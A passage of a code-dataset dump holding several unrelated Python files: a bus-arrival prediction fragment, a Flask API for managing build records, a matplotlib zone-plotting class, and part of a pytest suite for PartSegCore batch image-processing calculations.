holiday[1]\n weekday = datetime.weekday(parser.parse(date))\n dict = []\n status = 0\n for i in stops:\n if stops.index(i) == 0:\n status = 'src'\n elif stops.index(i) == len(stops) - 1:\n status = 'dest'\n else:\n status = 'normal'\n duration = model(bus_route, i[0], str(i[1]), weekday, p_holiday, s_holiday, rtr, trip_id)[0]\n predicted_arrival_time = (time_to_arrive(parser.parse(date + ' ' + str(i[1])), duration))\n dict.append({'stopid':i[0], 'duration':duration, 'predicted_arrival_time':predicted_arrival_time, 'status':status})\n return dict\n","sub_path":"dublinbusjourney/dublinbuspredict/Algorithms/time_date.py","file_name":"time_date.py","file_ext":"py","file_size_in_byte":7082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"301537370","text":"from werkzeug import secure_filename\nfrom urlparse import urlparse\nfrom bson.json_util import dumps\nfrom flask import Blueprint, jsonify, request\nfrom DBUtil import Build, Users, SystemDetails,State,Config\nfrom settings import mongodb, default_nexus_container_name, temp_files_full_path\nfrom Services import StateHelperService,BuildHelperService,HelperServices\nfrom Services.AppInitServices import authService\nimport os\nimport json\n# blueprint declaration\nbuildAPI = Blueprint('buildAPI', __name__)\n\n# get global db connection\ndb = mongodb\nbuildDB = Build.Build()\nuserDB = Users.Users(db)\nsystemDetailsDB = SystemDetails.SystemDetails(db)\nstateDb=State.State(mongodb)\nconfigDb=Config.Config(mongodb)\n\n\n\n\n'''\nINPUT REQUEST:\n{ \n \"_id\" : ObjectId(\"5abbc6749e53f700787d3997\"), \n \"status\" : \"1\",\n \"file_size\" : \"4.0K\", \n \"type\" : \"url\", \n \"file_path\" : \"http://illin4490:8081/nexus/content/repositories/yum-test/com/amdocs/core/crm/crm-playbooks/10.2.4-1620/crm-playbooks-10.2.4-1620.tar\",\n \"build_number\": 22, \n \"package_name\" : \"crm-playbooks-10.2.4-1620.tar\", \n \"package_type\" : \"tar\", \n \"parent_entity_id\" : \"5abbbf5ff13a94007945f01a\", \n \"additional_artifacts\" : {\n \"artifacts\" : [\n {\n \"repo_id\" : \"yum-test\", \n \"package\" : \"com.amdocs.core.crm\", \n \"file_name\" : \"amdocs-crm-admin_cluster_top-1-10.2.0.3.106.rpm\", \n \"artifact\" : \"amdocs-crm-admin_cluster_top-1\", \n \"relative_path\" : \"yum-test/com/amdocs/core/crm/amdocs-crm-admin_cluster_top-1/10.2.0.3.106\", \n \"version\" : \"10.2.0.3.106\", \n \"type\" : \"rpm\",\n \"classifier\" : \"1\"\n }\n ], \n \"repo_provider\" : \"Yum\"\n }, \n \"additional_info\" : {\n \"repo_id\" : \"yum-test\", \n \"package\" : \"com.amdocs.core.crm\", \n \"file_name\" : \"crm-playbooks-10.2.4-1620.tar\", \n \"artifact\" : \"crm-playbooks\", \n \"relative_path\" : \"yum-test/com/amdocs/core/crm/crm-playbooks/10.2.4-1620\", \n \"version\" : \"10.2.4-1620\"\n \n }, \n \"state_details\": { # CONSIDERED ONLY IF create_state_ind == true\n \"name\": \"Test\",#OPTIONAL #AUTO GENERATED\n \"approval_status\":\"Tested\", # OPTIONAL #DEFAULT :Created\n \"deployment_field\": {\"kuk\": \"hellow\"} # OPTIONAL\n }\n}\n\n\nRESPONSE :\n\n{\n \"message\": \"Build and State added successfully\",\n \"data\": {\n \"build_id\": \"5a3bc9c1f913e748d40b16fe\",\n \"state_id\": \"5a3bc9c2f913e748d40b16ff\",\n \"state_data\": {\n \"build_id\": \"5a3bc9c1f913e748d40b16fe\",\n \"name\": \"test du 30 State-548\",\n \"deployment_field\": {\n \"fields\": [\n {\n \"default_value\": \"2017-10-18T18:30:00.000Z\",\n \"is_mandatory\": true,\n \"order_id\": 0,\n \"input_type\": \"date\",\n \"tooltip\": \"hkhk\",\n \"input_name\": \"kuk\"\n },\n {\n \"order_id\": 1,\n \"input_type\": \"text\",\n \"default_value\": \"fgh\",\n \"input_name\": \"hg\",\n \"tooltip\": \"gfh\"\n },\n {\n \"order_id\": 2,\n \"input_type\": \"password\",\n \"default_value\": \"fhg\",\n \"input_name\": \"fhghgh\",\n \"tooltip\": \"gfh\"\n },\n {\n \"order_id\": 3,\n \"input_type\": \"email\",\n \"default_value\": \"gfh@df.com\",\n \"input_name\": \"fhg\",\n \"tooltip\": \"df\"\n },\n {\n \"order_id\": 4,\n \"input_type\": \"date\",\n \"default_value\": \"2017-10-11T18:30:00.000Z\",\n \"input_name\": \"sdf\",\n \"tooltip\": \"sdfd\"\n },\n {\n \"order_id\": 5,\n \"input_type\": \"checkbox\",\n \"valid_values\": [\n \"dsfdfd\",\n \"sdfdf\"\n ],\n \"input_name\": \"sdfdfdsfdfdsfds\",\n \"tooltip\": \"dsfd\"\n },\n {\n \"default_value\": \"dsfdf\",\n \"order_id\": 6,\n \"input_type\": \"dropdown\",\n \"tooltip\": \"dsfd\",\n \"valid_values\": [\n \"dsfdf\"\n ],\n \"input_name\": \"sdfdfdfdsfds\"\n },\n {\n \"order_id\": 7,\n \"input_type\": \"radio\",\n \"valid_values\": [\n \"sdfdf\",\n \"dsfdf\"\n ],\n \"input_name\": \"sdfdsfdsfdsfdsf\",\n \"tooltip\": \"sdfdf\"\n }\n ],\n \"_id\": {\n \"$oid\": \"5a3bc9c2f913e748d40b1700\"\n },\n \"parent_entity_id\": \"5a3bc9c2f913e748d40b16ff\"\n },\n \"parent_entity_id\": \"59ddcf802646eb006a6c7707\",\n \"build\": {\n \"status\": \"1\",\n \"build_date\": {\n \"$date\": 1513887513000\n },\n \"build_number\": 12,\n \"package_name\": \"amdocs_data_loader_ga_1_8_18_8.zip\",\n \"package_type\": \"zip\",\n \"parent_entity_id\": \"59ddcf802646eb006a6c7707\",\n \"file_path\": \"http://illin4467:8081/nexus/content/repositories/vp_builds/amdocs/infra/db/amdocs_data_loader/ga_1_8_18/amdocs_data_loader-ga_1_8_18-8.zip\",\n \"file_size\": \"4.0K\",\n \"_id\": {\n \"$oid\": \"5a3bc9c1f913e748d40b16fe\"\n },\n \"type\": \"url\",\n \"additional_info\": {\n \"repo_id\": \"vp_builds\",\n \"package\": \"amdocs.infra.db\",\n \"file_name\": \"amdocs_data_loader-ga_1_8_18-8.zip\",\n \"artifact\": \"amdocs_data_loader\",\n \"relative_path\": \"vp_builds/amdocs/infra/db/amdocs_data_loader/ga_1_8_18\",\n \"version\": \"ga_1_8_18\"\n }\n },\n \"_id\": {\n \"$oid\": \"5a3bc9c2f913e748d40b16ff\"\n },\n \"type\": \"dustate\",\n \"approval_status\": \"Created\"\n }\n },\n \"result\": \"success\"\n}\n'''\n\n\n@buildAPI.route('/build/add', methods=['POST'])\n@buildAPI.route('/versions/build/add', methods=['POST'])\n@authService.unauthorized\ndef add_build():\n try:\n state_details=None\n new_state_id=None\n new_build_id=None\n new_build = request.get_json()\n directory_to_import_from =None\n \n #IN CASE THIS METHOD IS GETTING CALLED FROM upload_build()\n if not new_build : \n new_build = request.data # Used by upload_build()\n directory_to_import_from = new_build.get(\"directory_to_import_from\")\n new_build.pop(\"directory_to_import_from\")\n if \"version_id\" in new_build.keys(): # PATCH FOR VERSION ID\n if \"parent_entity_id\" not in new_build.keys():\n new_build[\"parent_entity_id\"] = new_build[\"version_id\"]\n new_build.pop(\"version_id\")\n state_details=new_build.get(\"state_details\",None)\n new_build_id = BuildHelperService.add_update_build(new_build, new_build.get(\"parent_entity_id\"), directory_to_import_from)\n if str(new_build_id) not in [\"1\",\"0\"] and state_details is not None:\n state_details[\"parent_entity_id\"]=new_build[\"parent_entity_id\"]\n state_details[\"build_id\"]=new_build_id \n new_state_id = StateHelperService.generate_new_state(state_details)\n return jsonify(json.loads(dumps({\"result\": \"success\", \"message\": \"Build and State added successfully\", \"data\": {\"build_id\": new_build_id,\\\n \"state_id\":new_state_id,\"state_data\":stateDb.get_state_by_id(new_state_id, True)}}))), 200\n else: \n if str(new_build_id) == \"1\":\n return jsonify(json.loads(dumps({\"result\": \"success\", \"message\": \"Build updated successfully\", \"data\": {\"id\": new_build_id}}))), 200\n elif str(new_build_id) == \"0\":\n return jsonify(json.loads(dumps({\"result\": \"success\", \"message\": \"No changes found\", \"data\": {\"id\": new_build_id}}))), 200 \n else:\n return jsonify(json.loads(dumps({\"result\": \"success\", \"message\": \"Build added successfully\", \"data\": {\"build_id\": new_build_id}}))), 200\n except Exception as e: # catch *all* exceptions\n if str(new_state_id).lower() not in [\"none\",\"1\",\"0\"]:\n StateHelperService.delete_state(new_state_id,False)\n if str(new_build_id).lower() not in [\"none\",\"1\",\"0\"]:\n buildDB.delete_build(new_build_id) \n raise e\n\n\n@buildAPI.route('/build/update', methods=['PUT'])\n@authService.unauthorized\ndef update_build():\n request_build_details = request.get_json() \n if not request_build_details.get(\"_id\"):\n build_details = buildDB.get_build_by_number(\n str(request_build_details.get(\"parent_entity_id\")), request_build_details.get(\"build_number\"), True)\n if build_details is not None:\n if build_details.get(\"_id\"):\n request_build_details[\"_id\"] = {\"oid\": str(build_details.get(\"_id\"))}\n else:\n raise Exception(\n \"Unable to find a build id for parent_entity_id\" + str(request_build_details.get(\"parent_entity_id\")))\n else:\n raise Exception(\"Unable to find a build details for build number \" + str(request_build_details.get(\n \"build_number\")) + \" and parent_entity_id \" + str(request_build_details.get(\"parent_entity_id\")))\n else:\n if request_build_details.get(\"parent_entity_id\"):\n HelperServices.get_details_of_parent_entity_id(request_build_details.get(\"parent_entity_id\")) \n result = BuildHelperService.add_update_build(request_build_details, request_build_details.get(\"parent_entity_id\"), None)\n return jsonify(json.loads(dumps({\"result\": \"success\", \"message\": \"Build updated successfully\", \"data\": {\"id\":result}}))), 200\n \n\n\n\n@buildAPI.route('/build/view/', methods=['GET'])\n@authService.unauthorized\ndef get_build(oid):\n build=buildDB.get_build(oid)\n actual_host = bool(request.args.get('actual_host', False))\n '''\n if actual_host is True, the hostname in the file_path replaced with the hostname mentioned in the SystemDetails collection \n provided the hostname in build and default_nexus_container_name is same. \n '''\n if build.get(\"file_path\",None) and (actual_host):\n if urlparse(build.get(\"file_path\")).hostname == default_nexus_container_name :\n build[\"file_path\"]=build.get(\"file_path\").replace(urlparse(build.get(\"file_path\")).\\\n hostname,systemDetailsDB.get_system_details_single().get(\"hostname\"))\n return jsonify(json.loads(dumps({\"result\": \"success\", \"data\": build}))), 200\n\n'''\n\nNow from 3.2.3 we have repository plugins. So one DU can have Jfrog and other can have Nexus.\nIts tiresome to upload a build independently and then then add a build to dpm with another api.\nWhy not handle both at once\n\nPostman:\n artifact_file : File to upload\n build_details : A file containing the build detais.Should be json. Contents is Repository Specific\nCURL:\n curl --verbose -F 'build_details=@jsonfile.txt' -F 'artifact_file=@test.pdf' http://localhost:8000/build/upload\n \nPLEASE NOTE :\n It wont work for nexus2 and nexus 3 as the keyargs[\"file_to_upload\"] = join(keyargs[\"directory_to_import_from\"],relative_path,fileName)\n But file is saved at keyargs[\"file_to_upload\"] = join(keyargs[\"directory_to_import_from\"])\n'''\n@buildAPI.route('/build/upload', methods=['POST'])\n@authService.unauthorized\ndef upload_build():\n try:\n artifact_file = request.files['artifact_file']\n except Exception:\n raise ValueError(\"Please provide artifact_file\")\n try:\n build_details = request.files['build_details']\n except Exception:\n raise ValueError(\"Please provide build_details\")\n artifact_file_filename = secure_filename(artifact_file.filename)\n artifact_file_filename = str(temp_files_full_path + artifact_file_filename)\n artifact_file.save(artifact_file_filename)\n build_details_filename = secure_filename(build_details.filename)\n build_details_filename = str(temp_files_full_path + build_details_filename)\n build_details.save(build_details_filename)\n try:\n build_details = json.loads(open(build_details_filename).read())\n build_details[\"directory_to_import_from\"] = temp_files_full_path\n request.data = build_details \n return add_build()\n finally:\n try:\n os.remove(artifact_file_filename)\n os.remove(build_details_filename)\n except Exception:\n pass\n\n\n@buildAPI.route('/tool/update/buildmarkup', methods=['POST'])\n@authService.unauthorized\ndef update_build_markup():\n try:\n update_build_markup = request.get_json()\n except Exception:\n raise ValueError(\"Please provide build Ids\")\n request_build_details = request.get_json()\n version_build_dic = request_build_details.get(\"updateMarkupBuild\")\n if request_build_details.get(\"updateMarkupBuild\"):\n for version_id in version_build_dic.keys():\n for build in version_build_dic[version_id]:\n result = BuildHelperService.add_update_build(build,\n version_id,\n None)\n else:\n return jsonify(\n json.loads(\n dumps({\"result\": \"success\", \"message\": \"Build Not updated\", \"data\": {\"id\": update_build_markup}}))), 200\n return jsonify(\n json.loads(\n dumps({\"result\": \"success\", \"message\": \"Build updated\", \"data\": {\"id\": update_build_markup}}))), 200\n\n\n","sub_path":"server/modules/BuildAPI.py","file_name":"BuildAPI.py","file_ext":"py","file_size_in_byte":14585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"8023261","text":"\"\"\"Plot zones on sheet.\"\"\"\n\nfrom matplotlib import pyplot as plt\nfrom matplotlib.patches import Rectangle\n\nclass xmlPlotZones(object):\n\n def __init__(self, page_plot, zone, colour, linewidth, linestyle):\n\n self.page_plot = page_plot\n\n self.zone_top = zone[1]\n self.zone_right = zone[2]\n self.zone_bottom = zone[3]\n self.zone_left = zone[4]\n\n self.colour = colour\n self.linewidth = linewidth\n self.linestyle = linestyle\n self.plot_zone()\n\n def plot_zone(self):\n \"\"\"plot zone on page_plot object.\"\"\"\n\n self.page_plot.add_patch(Rectangle((self.zone_left, self.zone_bottom),\n (self.zone_right-self.zone_left),\n (self.zone_top-self.zone_bottom),\n fill = None, edgecolor=self.colour, alpha = 1,\n linewidth = self.linewidth,\n linestyle = self.linestyle))\n","sub_path":"text_dictionaries/xml_build_charts_zones/codebase/xmlPlotZones.py","file_name":"xmlPlotZones.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"472024964","text":"# pylint: disable=no-self-use\n\nimport os\nimport shutil\nimport sys\nimport time\nfrom glob import glob\nfrom itertools import dropwhile\nfrom typing import Callable\n\nimport numpy as np\nimport pandas as pd\nimport pytest\nimport tifffile\n\nfrom PartSegCore.algorithm_describe_base import ROIExtractionProfile\nfrom PartSegCore.analysis import AnalysisAlgorithmSelection\nfrom PartSegCore.analysis.batch_processing import batch_backend\nfrom PartSegCore.analysis.batch_processing.batch_backend import (\n CalculationManager,\n CalculationProcess,\n ResponseData,\n SheetData,\n do_calculation,\n)\nfrom PartSegCore.analysis.calculation_plan import (\n Calculation,\n CalculationPlan,\n CalculationTree,\n FileCalculation,\n MaskCreate,\n MaskIntersection,\n MaskSuffix,\n MaskSum,\n MaskUse,\n MeasurementCalculate,\n RootType,\n Save,\n)\nfrom PartSegCore.analysis.measurement_base import AreaType, Leaf, MeasurementEntry, Node, PerComponent\nfrom PartSegCore.analysis.measurement_calculation import MeasurementProfile\nfrom PartSegCore.analysis.save_functions import save_dict\nfrom PartSegCore.image_operations import RadiusType\nfrom PartSegCore.io_utils import LoadPlanExcel, SaveBase\nfrom PartSegCore.mask.io_functions import MaskProjectTuple, SaveROI, SaveROIOptions\nfrom PartSegCore.mask_create import MaskProperty\nfrom PartSegCore.roi_info import ROIInfo\nfrom PartSegCore.segmentation import ROIExtractionAlgorithm, ROIExtractionResult\nfrom PartSegCore.segmentation.noise_filtering import DimensionType\nfrom PartSegCore.segmentation.restartable_segmentation_algorithms import LowerThresholdFlowAlgorithm\nfrom PartSegCore.universal_const import Units\nfrom PartSegCore.utils import BaseModel\nfrom PartSegImage import Channel, Image, ImageWriter, TiffImageReader\n\nENGINE = None if pd.__version__ == \"0.24.0\" else \"openpyxl\"\n\n\nclass MocksCalculation:\n def __init__(self, file_path):\n self.file_path = file_path\n\n\n# TODO add check of per component measurements\n\n\nclass DummyParams(BaseModel):\n channel: Channel = 0\n\n\nclass DummyExtraction(ROIExtractionAlgorithm):\n __argument_class__ = DummyParams\n\n @classmethod\n def support_time(cls):\n return True\n\n @classmethod\n def support_z(cls): # pragma: no cover\n return True\n\n def calculation_run(self, report_fun: Callable[[str, int], None]) -> ROIExtractionResult:\n channel = self.image.get_channel(0)\n if channel.max() == 0:\n raise ValueError(\"Empty image\")\n return ROIExtractionResult(np.ones(channel.shape, dtype=np.uint8), self.get_segmentation_profile())\n\n def get_info_text(self): # pragma: no cover\n return \"\"\n\n @classmethod\n def get_name(cls) -> str:\n return \"Dummy\"\n\n\nclass DummySpacingCheck(DummyExtraction):\n def calculation_run(self, report_fun: Callable[[str, int], None]) -> ROIExtractionResult:\n assert self.image.spacing == (3, 2, 1)\n return ROIExtractionResult(np.ones(self.image.shape, dtype=np.uint8), self.get_segmentation_profile())\n\n\n@pytest.fixture()\ndef _register_dummy_extraction():\n assert \"Dummy\" not in AnalysisAlgorithmSelection.__register__\n AnalysisAlgorithmSelection.register(DummyExtraction)\n yield\n AnalysisAlgorithmSelection.__register__.pop(\"Dummy\")\n assert \"Dummy\" not in AnalysisAlgorithmSelection.__register__\n\n\n@pytest.fixture()\ndef _register_dummy_spacing():\n assert \"Dummy\" not in AnalysisAlgorithmSelection.__register__\n AnalysisAlgorithmSelection.register(DummySpacingCheck)\n yield\n AnalysisAlgorithmSelection.__register__.pop(\"Dummy\")\n assert \"Dummy\" not in AnalysisAlgorithmSelection.__register__\n\n\n@pytest.fixture()\ndef _prepare_spacing_data(tmp_path):\n data = np.zeros((4, 1, 10, 10), dtype=np.uint8)\n data[:, :, 2:-2, 2:-2] = 1\n tifffile.imwrite(tmp_path / \"test1.tiff\", data)\n\n image = Image(data, (1, 1, 1), axes_order=\"ZCYX\", file_path=tmp_path / \"test2.tiff\")\n ImageWriter.save(image, image.file_path)\n\n\n@pytest.fixture()\ndef _prepare_mask_project_data(tmp_path):\n data = np.zeros((4, 10, 10), dtype=np.uint8)\n data[:, 2:4, 2:4] = 1\n data[:, 6:8, 2:4] = 2\n data[:, 6:8, 6:8] = 3\n\n image = Image(data, (1, 1, 1), axes_order=\"ZYX\", file_path=tmp_path / \"test.tiff\")\n ImageWriter.save(image, image.file_path)\n\n roi = np.zeros(data.shape, dtype=np.uint8)\n roi[:, :5, :5] = 1\n roi[:, 5:10, :5] = 2\n roi[:, :5, 5:10] = 3\n roi[:, 5:10, 5:10] = 4\n\n roi = image.fit_mask_to_image(roi)\n\n proj = MaskProjectTuple(file_path=image.file_path, image=image, roi_info=ROIInfo(roi))\n\n SaveROI.save(tmp_path / \"test.seg\", proj, SaveROIOptions())\n\n\n@pytest.fixture()\ndef ltww_segmentation():\n parameters = LowerThresholdFlowAlgorithm.__argument_class__(\n channel=1,\n minimum_size=200,\n threshold={\n \"name\": \"Base/Core\",\n \"values\": {\n \"core_threshold\": {\"name\": \"Manual\", \"values\": {\"threshold\": 30000}},\n \"base_threshold\": {\"name\": \"Manual\", \"values\": {\"threshold\": 13000}},\n },\n },\n noise_filtering={\"name\": \"Gauss\", \"values\": {\"dimension_type\": DimensionType.Layer, \"radius\": 1.0}},\n side_connection=False,\n flow_type={\"name\": \"Euclidean\", \"values\": {}},\n )\n\n return ROIExtractionProfile(name=\"test\", algorithm=\"Lower threshold with watershed\", values=parameters)\n\n\n@pytest.fixture()\ndef measurement_list():\n chosen_fields = [\n MeasurementEntry(\n name=\"Segmentation Volume\",\n calculation_tree=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.No),\n ),\n MeasurementEntry(\n name=\"Segmentation Volume/Mask Volume\",\n calculation_tree=Node(\n left=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.No),\n op=\"/\",\n right=Leaf(name=\"Volume\", area=AreaType.Mask, per_component=PerComponent.No),\n ),\n ),\n MeasurementEntry(\n name=\"Segmentation Components Number\",\n calculation_tree=Leaf(name=\"Components number\", area=AreaType.ROI, per_component=PerComponent.No),\n ),\n ]\n statistic = MeasurementProfile(name=\"base_measure\", chosen_fields=chosen_fields, name_prefix=\"\")\n return MeasurementCalculate(channel=0, units=Units.µm, measurement_profile=statistic, name_prefix=\"\")\n\n\n@pytest.fixture()\ndef simple_measurement_list():\n chosen_fields = [\n MeasurementEntry(\n name=\"Segmentation Volume\",\n calculation_tree=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.No),\n ),\n ]\n statistic = MeasurementProfile(name=\"base_measure\", chosen_fields=chosen_fields, name_prefix=\"\")\n return MeasurementCalculate(channel=-1, units=Units.µm, measurement_profile=statistic, name_prefix=\"\")\n\n\n@pytest.fixture()\ndef calculation_plan_dummy(simple_measurement_list):\n tree = CalculationTree(\n RootType.Mask_project,\n [\n CalculationTree(\n ROIExtractionProfile(name=\"test\", algorithm=DummyExtraction.get_name(), values=DummyParams()),\n [CalculationTree(simple_measurement_list, [])],\n )\n ],\n )\n return CalculationPlan(tree=tree, name=\"test\")\n\n\n@pytest.fixture()\ndef calculation_plan_dummy_spacing(calculation_plan_dummy):\n calculation_plan_dummy.execution_tree.operation = RootType.Image\n return calculation_plan_dummy\n\n\n@pytest.fixture()\ndef calculation_plan(ltww_segmentation, measurement_list):\n mask_suffix = MaskSuffix(name=\"\", suffix=\"_mask\")\n tree = CalculationTree(\n operation=RootType.Image,\n children=[\n CalculationTree(mask_suffix, [CalculationTree(ltww_segmentation, [CalculationTree(measurement_list, [])])])\n ],\n )\n return CalculationPlan(tree=tree, name=\"test\")\n\n\n@pytest.fixture()\ndef calculation_plan_long(ltww_segmentation, measurement_list):\n mask_suffix = MaskSuffix(name=\"\", suffix=\"_mask\")\n children = []\n for i in range(20):\n measurement = measurement_list.copy()\n measurement.name_prefix = f\"{i}_\"\n measurement.measurement_profile = measurement.measurement_profile.copy()\n measurement.measurement_profile.name_prefix = f\"{i}_\"\n children.append(\n CalculationTree(mask_suffix, [CalculationTree(ltww_segmentation, [CalculationTree(measurement, [])])])\n )\n tree = CalculationTree(\n operation=RootType.Image,\n children=children,\n )\n return CalculationPlan(tree=tree, name=\"test\")\n\n\n@pytest.fixture()\ndef calculation_plan2(ltww_segmentation, measurement_list):\n ltww_segmentation.values.channel = 0\n\n tree = CalculationTree(\n RootType.Mask_project, [CalculationTree(ltww_segmentation, [CalculationTree(measurement_list, [])])]\n )\n return CalculationPlan(tree=tree, name=\"test2\")\n\n\n@pytest.fixture()\ndef simple_plan(simple_measurement_list):\n def _create_simple_plan(root_type: RootType, save: Save):\n parameters = {\n \"channel\": 0,\n \"minimum_size\": 200,\n \"threshold\": {\"name\": \"Manual\", \"values\": {\"threshold\": 13000}},\n \"noise_filtering\": {\"name\": \"Gauss\", \"values\": {\"dimension_type\": DimensionType.Layer, \"radius\": 1.0}},\n \"side_connection\": False,\n }\n segmentation = ROIExtractionProfile(name=\"test\", algorithm=\"Lower threshold\", values=parameters)\n tree = CalculationTree(\n root_type,\n [CalculationTree(segmentation, [CalculationTree(simple_measurement_list, []), CalculationTree(save, [])])],\n )\n return CalculationPlan(tree=tree, name=\"test\")\n\n return _create_simple_plan\n\n\n@pytest.fixture()\ndef calculation_plan3(ltww_segmentation):\n mask_suffix = MaskSuffix(name=\"\", suffix=\"_mask\")\n chosen_fields = [\n MeasurementEntry(\n name=\"Segmentation Volume\",\n calculation_tree=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.No),\n ),\n MeasurementEntry(\n name=\"Segmentation Volume/Mask Volume\",\n calculation_tree=Node(\n left=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.No),\n op=\"/\",\n right=Leaf(name=\"Volume\", area=AreaType.Mask, per_component=PerComponent.No),\n ),\n ),\n MeasurementEntry(\n name=\"Segmentation Components Number\",\n calculation_tree=Leaf(name=\"Components number\", area=AreaType.ROI, per_component=PerComponent.No),\n ),\n MeasurementEntry(\n name=\"Segmentation Volume per component\",\n calculation_tree=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.Yes),\n ),\n ]\n statistic = MeasurementProfile(name=\"base_measure\", chosen_fields=chosen_fields, name_prefix=\"\")\n statistic_calculate = MeasurementCalculate(channel=0, units=Units.µm, measurement_profile=statistic, name_prefix=\"\")\n mask_create = MaskCreate(\n name=\"\",\n mask_property=MaskProperty(\n dilate=RadiusType.NO,\n dilate_radius=0,\n fill_holes=RadiusType.NO,\n max_holes_size=0,\n save_components=True,\n clip_to_mask=False,\n reversed_mask=False,\n ),\n )\n parameters2 = {\n \"channel\": 1,\n \"minimum_size\": 200,\n \"threshold\": {\"name\": \"Manual\", \"values\": {\"threshold\": 30000}},\n \"noise_filtering\": {\"name\": \"Gauss\", \"values\": {\"dimension_type\": DimensionType.Layer, \"radius\": 1.0}},\n \"side_connection\": False,\n }\n\n segmentation2 = ROIExtractionProfile(name=\"test\", algorithm=\"Lower threshold\", values=parameters2)\n chosen_fields = [\n MeasurementEntry(\n name=\"Segmentation Volume\",\n calculation_tree=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.No),\n ),\n MeasurementEntry(\n name=\"Segmentation Volume/Mask Volume\",\n calculation_tree=Node(\n left=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.No),\n op=\"/\",\n right=Leaf(name=\"Volume\", area=AreaType.Mask, per_component=PerComponent.No),\n ),\n ),\n MeasurementEntry(\n name=\"Segmentation Components Number\",\n calculation_tree=Leaf(name=\"Components number\", area=AreaType.ROI, per_component=PerComponent.No),\n ),\n MeasurementEntry(\n name=\"Mask Volume per component\",\n calculation_tree=Leaf(name=\"Volume\", area=AreaType.Mask, per_component=PerComponent.Yes),\n ),\n ]\n statistic = MeasurementProfile(name=\"base_measure2\", chosen_fields=chosen_fields[:], name_prefix=\"aa_\")\n statistic_calculate2 = MeasurementCalculate(\n channel=0, units=Units.µm, measurement_profile=statistic, name_prefix=\"\"\n )\n chosen_fields.append(\n MeasurementEntry(\n name=\"Segmentation Volume per component\",\n calculation_tree=Leaf(name=\"Volume\", area=AreaType.ROI, per_component=PerComponent.Yes),\n )\n )\n statistic = MeasurementProfile(name=\"base_measure3\", chosen_fields=chosen_fields[:], name_prefix=\"bb_\")\n statistic_calculate3 = MeasurementCalculate(\n channel=0, units=Units.µm, measurement_profile=statistic, name_prefix=\"\"\n )\n tree = CalculationTree(\n RootType.Image,\n [\n CalculationTree(\n mask_suffix,\n [\n CalculationTree(\n ltww_segmentation,\n [\n CalculationTree(statistic_calculate, []),\n CalculationTree(\n mask_create,\n [\n CalculationTree(\n segmentation2,\n [\n CalculationTree(statistic_calculate2, []),\n CalculationTree(statistic_calculate3, []),\n ],\n ),\n ],\n ),\n ],\n )\n ],\n )\n ],\n )\n return CalculationPlan(tree=tree, name=\"test\")\n\n\n@pytest.fixture(\n params=[\n MaskUse(name=\"test1\"),\n MaskSum(name=\"\", mask1=\"test1\", mask2=\"test2\"),\n MaskIntersection(name=\"\", mask1=\"test1\", mask2=\"test2\"),\n ]\n)\ndef mask_operation_plan(request, simple_measurement_list):\n parameters = {\n \"channel\": 0,\n \"minimum_size\": 200,\n \"threshold\": {\"name\": \"Manual\", \"values\": {\"threshold\": 13000}},\n \"noise_filtering\": {\"name\": \"Gauss\", \"values\": {\"dimension_type\": DimensionType.Layer, \"radius\": 1.0}},\n \"side_connection\": False,\n }\n parameters2 = dict(**parameters)\n parameters2[\"channel\"] = 1\n segmentation = ROIExtractionProfile(name=\"test\", algorithm=\"Lower threshold\", values=parameters)\n segmentation2 = ROIExtractionProfile(name=\"test2\", algorithm=\"Lower threshold\", values=parameters2)\n tree = CalculationTree(\n RootType.Image,\n [\n CalculationTree(\n segmentation,\n [CalculationTree(MaskCreate(name=\"test1\", mask_property=MaskProperty.simple_mask()), [])],\n ),\n CalculationTree(\n segmentation2,\n [CalculationTree(MaskCreate(name=\"test2\", mask_property=MaskProperty.simple_mask()), [])],\n ),\n CalculationTree(\n request.param, [CalculationTree(segmentation2, [CalculationTree(simple_measurement_list, [])])]\n ),\n ],\n )\n return CalculationPlan(tree=tree, name=\"test\")\n\n\ndef wait_for_calculation(manager):\n for _ in range(int(120 / 0.1)):\n manager.get_results()\n if manager.has_work:\n time.sleep(0.1)\n else:\n break\n else: # pragma: no cover\n manager.kill_jobs()\n pytest.fail(\"jobs hanged\")\n\n manager.writer.finish()\n if sys.platform == \"darwin\":\n time.sleep(2) # pragma: no cover\n else:\n time.sleep(0.4)\n\n\n# noinspection DuplicatedCode\nclass TestCalculationProcess:\n def test_mask_op(self, data_test_dir, tmpdir, mask_operation_plan):\n file_path = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component1.tif\")\n calc = Calculation(\n [file_path],\n base_prefix=os.path.dirname(file_path),\n result_prefix=tmpdir,\n measurement_file_path=os.path.join(tmpdir, \"test3.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=mask_operation_plan,\n voxel_size=(1, 1, 1),\n )\n calc_process = CalculationProcess()\n res = calc_process.do_calculation(FileCalculation(file_path, calc))\n assert isinstance(res, list)\n assert isinstance(res[0], ResponseData)\n\n def test_one_file(self, data_test_dir, calculation_plan):\n process = CalculationProcess()\n file_path = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component5.tif\")\n calc = MocksCalculation(file_path)\n process.calculation = calc\n process.image = TiffImageReader.read_image(file_path)\n process.iterate_over(calculation_plan.execution_tree)\n assert len(process.measurement[0]) == 3\n\n @pytest.mark.filterwarnings(\"ignore:This method will be removed\")\n def test_full_pipeline_base(self, tmpdir, data_test_dir, monkeypatch, calculation_plan):\n monkeypatch.setattr(batch_backend, \"CalculationProcess\", MockCalculationProcess)\n file_pattern = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component*[0-9].tif\")\n file_paths = sorted(glob(file_pattern))\n assert os.path.basename(file_paths[0]) == \"stack1_component1.tif\"\n calc = Calculation(\n file_paths,\n base_prefix=data_test_dir,\n result_prefix=data_test_dir,\n measurement_file_path=os.path.join(tmpdir, \"test.xlsx\"),\n 